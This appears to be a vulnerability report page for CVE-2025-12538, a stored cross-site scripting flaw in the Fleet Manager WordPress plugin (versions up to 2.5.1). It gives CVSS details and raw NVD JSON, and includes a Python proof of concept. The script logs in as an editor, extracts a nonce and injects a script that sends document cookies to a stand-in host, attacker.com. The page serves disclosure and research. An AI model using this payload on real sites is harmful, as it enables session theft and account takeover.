Security Vulnerability Report
中文
CVE-2025-12538 CVSS 4.4 MEDIUM

CVE-2025-12538

Published: 2025-11-11 04:15:47
Last Modified: 2026-04-15 00:35:42

Description

The Fleet Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.5.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with editor-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Fleet Manager plugin for WordPress <= 2.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-12538 PoC - Fleet Manager XSS in Admin Settings # Target: WordPress site with Fleet Manager plugin <= 2.5.1 # Prerequisites: Editor-level or higher user account TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_editor" PASSWORD = "password123" # XSS payload - cookie stealing example XSS_PAYLOAD = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' session = requests.Session() # Step 1: Login to WordPress admin login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Access Fleet Manager settings page settings_url = f"{TARGET_URL}/wp-admin/admin.php?page=fleet-settings" response = session.get(settings_url) # Step 3: Extract nonce for form submission nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', response.text) if nonce_match: nonce = nonce_match.group(1) # Step 4: Submit XSS payload in setting field update_data = { '_wpnonce': nonce, 'fleet_company_name': XSS_PAYLOAD, # Inject XSS in company name field 'fleet_settings_submit': 'Save Changes' } session.post(settings_url, data=update_data) print("[+] XSS payload injected successfully") print("[+] Payload will execute when admin visits settings page") else: print("[-] Failed to extract nonce")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12538", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:46.887", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Fleet Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.5.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with editor-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://it.wordpress.org/plugins/fleet/", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3415747%40fleet&new=3415747%40fleet&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3e72644c-138d-4733-bcca-a8305273d1a0?source=cve", "source": "[email protected]"}]}}